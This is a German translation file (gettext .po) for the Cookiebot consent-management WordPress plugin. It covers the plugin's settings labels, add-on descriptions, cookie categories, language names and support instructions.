src/addons/config/Settings_Config.php:717 msgid "Available Add-ons" msgstr "Verfügbare Add-ons" #: src/addons/config/Settings_Config.php:723 msgid "Unavailable Add-ons" msgstr "Nicht verfügbare Add-ons" #: src/addons/config/Settings_Config.php:740 msgid "Jetpack" msgstr "Jetpack" #: src/addons/controller/addons/wp_seopress/Wp_Seopress.php:42 msgid "Blocks cookies from WP SEOPress' Google Analytics integration." msgstr "Blockiert Cookies von der WP SEOPress’ Google Analytics-Integration." #. translators: The placeholder is for the COOKIEBOT_MIN_PHP_VERSION constant #: src/lib/Cookiebot_WP.php:85 msgid "The Cookiebot plugin requires PHP version %s or greater." msgstr "Das Cookiebot-Plugin erfordert die PHP-Version %s oder höher" #: src/view/admin/common/prior-consent/unavailable-addons/tab-header.php:5 msgid "The following addons are unavailable. This is because the corresponding plugin is not installed or activated." msgstr "Die folgenden Add-ons sind nicht verfügbar. Dies liegt daran, dass das entsprechende Plug-in nicht installiert oder aktiviert ist." #: src/addons/controller/addons/wp_google_analytics_events/Wp_Google_Analytics_Events.php:47 msgid "The plugin allows you to fire events whenever someone interacts or views elements on your website." msgstr "Das Plug-in ermöglicht es Ihnen, Events auszulösen, wenn jemand mit Elementen auf Ihrer Website interagiert oder diese betrachtet." #. translators: the first placeholder string will be replaced with a html #. anchor open tag and the second placeholder string will be replaced by the #. html anchor closing tag #: src/view/admin/cb_frame/support-page.php:81 msgid "Log in to your %1$sCookiebot CMP account%2$s." msgstr "Melden Sie sich in Ihrem %1$sCookiebot CMP-Konto%2$s an." #. translators: the placeholder strings denote the positions of <b> and </b> #. HTML tags #: src/view/admin/cb_frame/support-page.php:101 msgid "Go to the %1$s\"Your scripts\"%2$s tab" msgstr "Gehen Sie dann auf die Registerkarte %1$s„Ihre Skripte”%2$s ." #: src/addons/controller/addons/enfold/Enfold.php:30 msgid "Blocks cookies created by Enfold theme's Google Services." msgstr "Blockiert Cookies, die von Google Diensten des Enfold Themes erstellt werden." #: src/lib/helper.php:245 src/lib/helper.php:343 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:91 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:167 #: src/view/admin/cb_frame/settings/gcm-page.php:127 #: src/view/admin/cb_frame/settings/gtm-page.php:113 #: src/view/admin/common/prior-consent/available-addons/tab.php:56 #: src/view/admin/uc_frame/prior-consent/consent-api/tab.php:100 msgid "marketing" msgstr "Marketing" #: src/lib/helper.php:248 src/lib/helper.php:342 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:88 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:134 #: src/view/admin/cb_frame/settings/gcm-page.php:119 #: src/view/admin/cb_frame/settings/gtm-page.php:105 #: src/view/admin/common/prior-consent/available-addons/tab.php:47 msgid "statistics" msgstr "statistik" #: src/lib/helper.php:251 src/lib/helper.php:341 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:85 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:118 #: src/view/admin/cb_frame/settings/gcm-page.php:111 #: src/view/admin/cb_frame/settings/gtm-page.php:97 #: src/view/admin/common/prior-consent/available-addons/tab.php:38 msgid "preferences" msgstr "präferenzen" #: src/lib/helper.php:254 #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:82 msgid "necessary" msgstr "notwendig" #: src/view/admin/cb_frame/settings/multiple-configuration/page.php:57 msgid "Domain Group ID" msgstr "Domain Group ID" #. translators: %1$s refers to the original script tag HTML, and %2$s refers to #. its replacement #: src/view/admin/cb_frame/support-page.php:206 msgid "%1$s to %2$s" msgstr "%1$s zu %2$s" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:102 msgid "Functional" msgstr "Funktional" #: src/addons/controller/addons/google_site_kit/Google_Site_Kit.php:34 msgid "Blocks Google Analytics scripts" msgstr "Blockiert Google Analytics Skripte" #: src/view/admin/cb_frame/settings/gtm-page.php:14 msgid "For more details about Cookiebot CMP and Google Tag Manager." msgstr "Für weitere Informationen über Cookiebot CMP und Google Tag Manager." #: src/view/admin/cb_frame/settings-page.php:65 #: src/view/admin/cb_frame/settings/gtm-page.php:27 #: src/view/admin/uc_frame/settings-page.php:68 #: src/view/admin/uc_frame/settings/gtm-page.php:12 #: src/view/admin/uc_frame/settings/gtm-page.php:27 msgid "Google Tag Manager" msgstr "Google Tag Manager" #: src/view/admin/cb_frame/settings-page.php:69 #: src/view/admin/cb_frame/settings/gcm-page.php:50 #: src/view/admin/common/dashboard-page.php:415 #: src/view/admin/uc_frame/settings-page.php:72 #: src/view/admin/uc_frame/settings/gcm-page.php:28 #: src/view/admin/uc_frame/settings/gcm-page.php:43 msgid "Google Consent Mode" msgstr "Google Consent Mode" #: src/addons/controller/addons/official_facebook_pixel/Official_Facebook_Pixel.php:248 msgid "Blocks Official Meta Pixel scripts" msgstr "Blockiert Official Facebook Pixel Skripte" #: src/addons/controller/addons/enhanced_ecommerce_for_woocommerce_store/Enhanced_Ecommerce_For_WooCommerce_Store.php:44 msgid "Blocks enhanced e-commerce for WooCommerce store" msgstr "Blockiert erweitertes E-Commerce für WooCommerce-Shop" #: src/addons/controller/addons/litespeed_cache/Litespeed_Cache.php:52 msgid "Excludes cookiebot javascript files when the Litespeed Cache deter option is enabled." msgstr "Schließt Cookiebot-Javascript-Dateien aus, wenn die Option „Litespeed Cache deter” aktiviert ist." #: src/addons/controller/addons/simple_share_buttons_adder/Simple_Share_Buttons_Adder.php:33 msgid "Blocks Simple Share Buttons Adder." msgstr "Blockiert Simple Share Buttons Adder." #: src/addons/controller/addons/wp_rocket/Wp_Rocket.php:49 msgid "Excludes cookiebot javascript files when the WP-Rocket deter option is enabled." msgstr "Schließt Cookiebot-Javascript-Dateien aus, wenn die Option „WP-Rocket deter“ aktiviert ist." #: src/view/admin/cb_frame/network-settings-page.php:131 #: src/view/admin/cb_frame/network-settings-page.php:178 #: src/view/admin/cb_frame/settings/additional-page.php:99 #: src/view/admin/cb_frame/settings/general-page.php:251 msgid "None" msgstr "Keine" #: src/view/admin/cb_frame/network-settings-page.php:102 #: src/view/admin/cb_frame/network-settings-page.php:152 #: src/view/admin/cb_frame/network-settings-page.php:199 #: src/view/admin/uc_frame/network-settings-page.php:138 msgid "Choose per subsite" msgstr "Wählen Sie pro Unterseite" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:150 msgid "Statistics Anonymous" msgstr "Anonyme Statistiken" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:179 msgid "Reset to default mapping" msgstr "Standardzuordnung wiederherstellen" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:20 msgid "Consent Level API Settings" msgstr "API-Einstellungen für den Consent Level" #: src/view/admin/cb_frame/prior-consent/consent-api/tab.php:29 msgid "WP Consent Level API and Cookiebot™ categorize cookies a bit differently. The default settings should fit most needs, but if you need to change the mapping you can do so below." msgstr "WP Consent Level API und Cookiebot™ kategorisieren Cookies ein wenig anders. Die Standardeinstellungen sollten den meisten Anforderungen genügen, aber wenn Sie die Zuordnung ändern müssen, können Sie dies unten tun." #: src/lib/Supported_Languages.php:54 msgid "Hungarian" msgstr "Ungarisch" #: src/addons/controller/Plugin_Controller.php:51 msgid "You enabled Cookiebot™ auto blocking mode but still using addons" msgstr "Sie haben den automatischen Blockierungsmodus von Cookiebot aktiviert, verwenden aber immer noch Add-Ons" #: src/addons/controller/Plugin_Controller.php:56 msgid "In some occasions this may cause client side errors. If you notice any errors please try to disable Cookiebot™ addons or contact Cookiebot™ support." msgstr "In einigen Fällen kann dies zu clientseitigen Fehlern führen. Wenn Sie Fehler bemerken, versuchen Sie bitte, Cookiebot-Addons zu deaktivieren, oder wenden Sie sich an den Cookiebot-Support" #: src/view/admin/cb_frame/dashboard-page.php:138 #: src/view/admin/cb_frame/dashboard-page.php:140 #: src/view/admin/cb_frame/dashboard-page.php:155 #: src/view/admin/cb_frame/dashboard-page.php:157 #: src/view/admin/common/dashboard-page-old.php:136 #: src/view/admin/common/dashboard-page-old.php:138 #: src/view/admin/common/dashboard-page-old.php:153 #: src/view/admin/common/dashboard-page-old.php:155 #: src/view/admin/uc_frame/dashboard-page.php:93 #: src/view/admin/uc_frame/dashboard-page.php:95 #: src/view/admin/uc_frame/dashboard-page.php:110 #: src/view/admin/uc_frame/dashboard-page.php:112 msgid "Learn More" msgstr "Mehr erfahren" #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:11 msgid "Show advanced options" msgstr "Erweiterte Optionen anzeigen" #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:17 msgid "This is for more advanced users." msgstr "Dies ist für fortgeschrittene Benutzer" #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:23 msgid "Regex:" msgstr "Regex:" #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:35 msgid "Edit regex" msgstr "Regex bearbeiten" #: src/view/admin/common/prior-consent/other-addons/embed-autocorrect-extra-addon-options.php:49 msgid "Reset to default regex" msgstr "Auf Standard-Regex zurücksetzen" #: src/view/admin/widgets/cookiebot-declaration-widget-form.php:14 msgid "Title" msgstr "Titel" #: src/view/admin/widgets/cookiebot-declaration-widget-form.php:33 msgid "- Default -" msgstr "- Standard -" #: src/widgets/Cookiebot_Declaration_Widget.php:18 msgid "Cookiebot - Cookie Declaration" msgstr "Cookiebot - Cookie-Erklärung" #: src/settings/Network_Menu_Settings.php:46 #: src/settings/pages/Settings_Page.php:25 #: src/view/admin/cb_frame/settings-page.php:50 #: src/view/admin/common/settings-page.php:31 #: src/view/admin/uc_frame/settings-page.php:52 msgid "Settings" msgstr "Einstellungen" #: src/settings/Network_Menu_Settings.php:54 #: src/settings/pages/Support_Page.php:28 #: src/view/admin/cb_frame/support-page.php:19 #: src/view/admin/common/support-page.php:19 #: src/view/admin/uc_frame/support-page.php:19 msgid "Support" msgstr "Support" #: src/addons/config/Settings_Config.php:131 #: src/view/admin/common/prior-consent/partials/placeholder-submitboxes.php:25 msgid "Remove language" msgstr "Sprache entfernen" #: src/addons/config/Settings_Config.php:610 msgid "The plugin is not activated." msgstr "Das Plug-in ist nicht aktiviert." #: src/addons/controller/addons/add_to_any/Add_To_Any.php:87 #: src/addons/controller/addons/embed_autocorrect/Embed_Autocorrect.php:444 msgid "Blocks embedded videos from Youtube, Twitter, Vimeo and Facebook." msgstr "Blockiert integrierte Videos von Youtube, Twitter, Vimeo und Facebook." #: src/addons/controller/addons/google_analytics/Google_Analytics.php:37 msgid "Google Analytics is used to track how visitor interact with website content." msgstr "Google Analytics wird verwendet, um zu tracken, wie Besucher mit den Inhalten der Website interagieren." #: src/addons/controller/addons/google_analytics_plus/Google_Analytics_Plus.php:33 msgid "Google Analytics is a simple, easy-to-use tool that helps website owners measure how users interact with website content" msgstr "Google Analytics ist ein einfaches, benutzerfreundliches Tool, mit dem Website-Besitzer messen können, wie Nutzer mit Inhalten auf der Website interagieren" #: src/addons/controller/addons/jetpack/widget/Facebook_Jetpack_Widget.php:72 msgid "Facebook widget." msgstr "Facebook Widget" #: src/addons/controller/addons/optinmonster/Optinmonster.php:33 msgid "OptinMonster API plugin to connect your WordPress site to your OptinMonster account." msgstr "OptinMonster API-Plug-in verbindet Ihre WordPress-Seite mit Ihrem OptinMonster-Konto." #: src/addons/controller/addons/wpforms/Wpforms.php:62 msgid "If the user gives correct consent, IP and Unique User ID will be saved on form submissions, otherwise not." msgstr "Wenn der Nutzer eine korrekte Einwilligung abgibt, werden IP und Unique User ID bei der Übermittlung von Formularen gespeichert, andernfalls nicht." #: src/addons/controller/addons/wpforms/Wpforms.php:63 msgid "Increases opt-in rate compared to WPForms \"GDPR mode\"." msgstr "Erhöht die Opt-in-Rate im Vergleich zum „DSGVO-Modus” von WPForms." #: src/lib/Supported_Languages.php:10 msgid "Norwegian Bokmål" msgstr "Norwegisch Bokmål" #: src/lib/Supported_Languages.php:11 msgid "Turkish" msgstr "Türkisch" #: src/lib/Supported_Languages.php:12 msgid "German" msgstr "Deutsch" #: src/lib/Supported_Languages.php:13 msgid "Czech" msgstr "Tschechisch" #: src/lib/Supported_Languages.php:14 msgid "Danish" msgstr "Dänisch" #: src/lib/Supported_Languages.php:15 msgid "Albanian" msgstr "Albanisch" #: src/lib/Supported_Languages.php:16 msgid "Hebrew" msgstr "Hebräisch" #: src/lib/Supported_Languages.php:17 msgid "Korean" msgstr "Koreanisch" #: src/lib/Supported_Languages.php:18 msgid "Italian" msgstr "Italienisch" #: src/lib/Supported_Languages.php:19 msgid "Dutch" msgstr "Niederländisch" #: src/lib/Supported_Languages.php:20 msgid "Vietnamese" msgstr "Vietnamesisch" #: src/lib/Supported_Languages.php:21 msgid "Tamil" msgstr "Tamilisch" #: src/lib/Supported_Languages.php:22 msgid "Icelandic" msgstr "Isländisch" #: src/lib/Supported_Languages.php:23 msgid "Romanian" msgstr "Rumänisch" #: src/lib/Supported_Languages.php:24 msgid "Sinhala" msgstr "Singhalesisch" #: src/lib/Supported_Languages.php:25 msgid "Catalan" msgstr "Katalanisch" #: src/lib/Supported_Languages.php:26 msgid "Bulgarian" msgstr "Bulgarisch" #: src/lib/Supported_Languages.php:27 msgid "Ukrainian" msgstr "Ukrainisch" #: src/lib/Supported_Languages.php:28 msgid "Chinese" msgstr "Chinesisch" #: src/lib/Supported_Languages.php:29 msgid "English" msgstr "Englisch" #: src/lib/Supported_Languages.php:30 msgid "Arabic" msgstr "Arabisch" #: src/lib/Supported_Languages.php:31 msgid "Croatian" msgstr "Kroatisch" #: src/lib/Supported_Languages.php:32 msgid "Thai" msgstr "Thailändisch" #: src/lib/Supported_Languages.php:33 msgid "Greek" msgstr "Griechisch" #: src/lib/Supported_Languages.php:34 msgid "Lithuanian" msgstr "Litauisch" #: src/lib/Supported_Languages.php:35 msgid "Polish" msgstr "Polnisch" #: src/lib/Supported_Languages.php:36 msgid "Latvian" msgstr "Lettisch" #: src/lib/Supported_Languages.php:37 msgid "French" msgstr "Französisch" #: src/lib/Supported_Languages.php:38 msgid "Indonesian" msgstr "Indonesisch" #: src/lib/Supported_Languages.php:39 msgid "Macedonian" msgstr "Mazedonisch" #: src/lib/Supported_Languages.php:40 msgid "Estonian" msgstr "Estnisch" #: src/lib/Supported_Languages.php:41 msgid "Portuguese" msgstr "Portugiesisch" #: src/lib/Supported_Languages.php:42 msgid "Irish" msgstr "Irisch" #: src/lib/Supported_Languages.php:43 msgid "Malay" msgstr "Malaiisch" #: src/lib/Supported_Languages.php:44 msgid "Slovenian" msgstr "Slowenisch" #: src/lib/Supported_Languages.php:45 msgid "Russian" msgstr "Russisch" #: src/lib/Supported_Languages.php:46 msgid "Japanese" msgstr "Japanisch" #: src/lib/Supported_Languages.php:47 msgid "Hindi" msgstr "Hindi" #: src/lib/Supported_Languages.php:48 msgid "Slovak" msgstr "Slowakisch" #: src/lib/Supported_Languages.php:49 msgid "Spanish" msgstr "Spanisch" #: src/lib/Supported_Languages.php:50 msgid "Swedish" msgstr "Schwedisch" #: src/lib/Supported_Languages.php:51 msgid "Serbian" msgstr "Serbisch" #: src/lib/Supported_Languages.php:52 msgid "Finnish" msgstr "Finnisch" #: src/lib/Supported_Languages.php:53 msgid "Basque" msgstr "Baskisch" #: src/settings/Network_Menu_Settings.php:37 #: src/settings/pages/Dashboard_Page.php:38 msgid "Cookiebot" msgstr "Cookiebot" #: src/settings/Network_Menu_Settings.php:45 #: src/settings/pages/Settings_Page.php:24 msgid "Cookiebot Settings" msgstr "Cookiebot Einstellungen" #: src/settings/Network_Menu_Settings.php:53 #: src/settings/pages/Support_Page.php:27 msgid "Cookiebot Support" msgstr "Cookiebot Support" #: src/settings/pages/Iab_Page.php:21 src/settings/pages/Iab_Page.php:22 msgid "IAB" msgstr "IAB" #: src/shortcode/Cookiebot_Declaration_Shortcode.php:55 msgid "Please add your Cookiebot ID to show Cookie Declarations" msgstr "Bitte fügen Sie Ihre Cookiebot-ID hinzu, um Cookie-Erklärungen anzuzeigen" #: src/view/admin/cb_frame/dashboard-page.php:113 #: src/view/admin/cb_frame/support-page.php:57 #: src/view/admin/common/dashboard-page-old.php:111 msgid "Video guide" msgstr "Video-Anleitung" #: src/view/admin/cb_frame/network-settings-page.php:54 msgid "If added this will be the default Cookiebot ID for all subsites. Subsites are able to override the Cookiebot ID." msgstr "Wenn hinzugefügt, ist dies die Standard-Cookiebot-ID für alle Unterseiten. Unterseiten können die Cookiebot-ID überschreiben" #: src/view/admin/cb_frame/network-settings-page.php:118 #: src/view/admin/cb_frame/network-settings-page.php:162 #: src/view/admin/cb_frame/network-settings-page.php:235 #: src/view/admin/uc_frame/network-settings-page.php:174 msgid "Setting will apply for all subsites. Subsites will not be able to override." msgstr "Die Einstellung gilt für alle Unterseiten. Unterwebsites können nicht überschrieben werden." #: src/view/admin/cb_frame/network-settings-page.php:165 msgid "Add async or defer attribute to Cookie declaration script tag. Default: Choose per subsite" msgstr "Fügen Sie dem Skript-Tag der Cookie-Deklaration das Attribut async oder defer hinzu. Standard: Wählen Sie pro Unterwebsite" #: src/view/admin/cb_frame/network-settings-page.php:233 #: src/view/admin/cb_frame/settings/general-page.php:277 #: src/view/admin/uc_frame/network-settings-page.php:172 #: src/view/admin/uc_frame/settings/general-page.php:232 msgid "Hide cookie popup" msgstr "Cookie-Popup ausblenden" #: src/view/admin/cb_frame/settings/gcm-page.php:103 #: src/view/admin/cb_frame/settings/gtm-page.php:89 #: src/view/admin/common/prior-consent/available-addons/tab.php:29 #: src/view/admin/common/prior-consent/jetpack-widgets/tab.php:25 msgid "Check one or multiple cookie types:" msgstr "Markieren Sie einen oder mehrere Cookie-Arten:" #: src/view/admin/common/prior-consent/available-addons/tab.php:68 #: src/view/admin/common/prior-consent/jetpack-widgets/tab.php:53 msgid "Display a placeholder" msgstr "Platzhalter anzeigen" #: src/view/admin/common/prior-consent/available-addons/tab.php:79 #: src/view/admin/common/prior-consent/jetpack-widgets/tab.php:71 msgid "+ Add language" msgstr "+ Sprache hinzufügen" #: src/view/admin/common/prior-consent/jetpack-widgets/tab-header.php:7 msgid "Jetpack settings" msgstr "Jetpack Einstellungen" #: src/view/admin/common/prior-consent/jetpack-widgets/tab.php:15 msgid "Enable" msgstr "Aktivieren" #: src/view/admin/common/prior-consent/partials/placeholder-submitbox-default.php:10 #: src/view/admin/common/prior-consent/partials/placeholder-submitboxes.php:19 #: src/view/admin/widgets/cookiebot-declaration-widget-form.php:26 msgid "Language" msgstr "Sprache" #: src/view/admin/cb_frame/settings/general-page.php:116 msgid "Default (Autodetect)" msgstr "Standard (automatische Erkennung)" #: src/view/admin/cb_frame/settings/general-page.php:120 msgid "Use WordPress Language" msgstr "WordPress Sprache verwenden" #: src/view/admin/cb_frame/settings/additional-page.php:75 msgid "Cookie declaration script tag:" msgstr "Cookie-Erklärung Skript Tag" #: src/view/admin/cb_frame/support-page.php:72 msgid "How to find my Cookiebot™ ID" msgstr "Wie finde ich meine Cookiebot™ ID" #: src/view/admin/cb_frame/support-page.php:107 msgid "Copy the value inside the data-cid parameter - eg.: abcdef12-3456-7890-abcd-ef1234567890" msgstr "Kopieren Sie den Wert in den Parameter „data-cid”: z. B. abcdef12-3456-7890-abcd-ef1234567890" #. translators: the placeholder strings denote the positions of <b> and </b> #. HTML tags #: src/view/admin/cb_frame/support-page.php:112 msgid "Add %1$s[cookie_declaration]%2$s shortcode to a page to show the declaration" msgstr "Fügen Sie den Shortcode %1$s[cookie_declaration]%2$s zu einer Seite hinzu, um die Erklärung anzuzeigen." #: src/view/admin/cb_frame/support-page.php:118 msgid "Remember to change your scripts as described below" msgstr "Denken Sie daran, Ihre Skripte wie unten beschrieben zu ändern" #: src/view/admin/cb_frame/support-page.php:125 msgid "Add the Cookie Declaration to your website" msgstr "Fügen Sie die Cookie-Erklärung zu Ihrer Website hinzu" #. translators: the placeholder strings denote the positions of <b> and </b> #. HTML tags #: src/view/admin/cb_frame/support-page.php:132 msgid "Use the shortcode %1$s[cookie_declaration]%2$s to add the cookie declaration to a page or post. The cookie declaration will always show the latest version from Cookiebot CMP." msgstr "Verwenden Sie den Shortcode %1$s[cookie_declaration]%2$s, um die Cookie-Erklärung zu einer Seite oder einem Beitrag hinzuzufügen. Die Cookie-Erklärung zeigt immer die neueste Version von Cookiebot CMP." #: src/view/admin/cb_frame/support-page.php:159 msgid "To enable prior consent, apply the attribute \"data-cookieconsent\" to cookie-setting script tags on your website. Set the comma-separated value to one or more of the cookie categories \"preferences\", \"statistics\" and/or \"marketing\" in accordance with the types of cookies being set by each script. Finally, change the attribute \"type\" from \"text/javascript\" to \"text/plain\"." msgstr "Um eine vorherige Einwilligung zu ermöglichen, verwenden Sie das Attribut „data-cookieconsent” für Cookie Skript Tags auf Ihrer Website. Setzen Sie den durch Komma getrennten Wert auf eine oder mehrere der Cookie-Kategorien „Präferenzen”, „Statistik” und/oder „Marketing”, je nachdem, welche Arten von Cookies von jedem Skript gesetzt werden. Ändern Sie schließlich das Attribut „type” von „text/javascript” in „text/plain”." #: src/view/admin/cb_frame/support-page.php:189 msgid "Helper function to update your scripts" msgstr "Hilfsfunktion zur Aktualisierung Ihrer Skripte" #: src/view/admin/cb_frame/support-page.php:194 msgid "You can update your scripts yourself. However, Cookiebot CMP also offers a small helper function that can make the work easier." msgstr "Sie können Ihre Skripte selbst aktualisieren. Cookiebot CMP bietet jedoch auch eine kleine Hilfsfunktion, die Ihnen die Arbeit erleichtern kann." #: src/view/admin/cb_frame/support-page.php:201 msgid "Update your script tags this way:" msgstr "Aktualisieren Sie Ihre Skript Tags wie folgt:" #: src/widgets/Dashboard_Widget_Cookiebot_Status.php:25 msgid "Cookiebot Status" msgstr "Cookiebot Status" #: src/widgets/Dashboard_Widget_Cookiebot_Status.php:41 msgid "You need to enter your Cookiebot ID." msgstr "Sie müssen Ihre Cookiebot-ID eingeben." #: src/widgets/Dashboard_Widget_Cookiebot_Status.php:43 msgid "Update your Cookiebot ID" msgstr "Aktualisieren Sie Ihre Cookiebot-ID" #: src/widgets/Dashboard_Widget_Cookiebot_Status.php:46 msgid "Your Cookiebot is working!" msgstr "Ihr Cookiebot funktioniert!" #: src/view/admin/cb_frame/support-page.php:154 msgid "Update your script tags" msgstr "Aktualisieren Sie Ihre Skript Tags" #. Plugin URI of the plugin #. Author URI of the plugin #: cookiebot.php msgid "https://www.cookiebot.com/" msgstr "https://www.cookiebot.com/de/" #: src/addons/config/Settings_Config.php:603 msgid "The plugin is not installed." msgstr "Das Plugin ist nicht installiert." #: src/view/admin/notices/cookiebot-recommendation-notice-links.php:24 msgid "Maybe later?" msgstr "Vielleicht später?"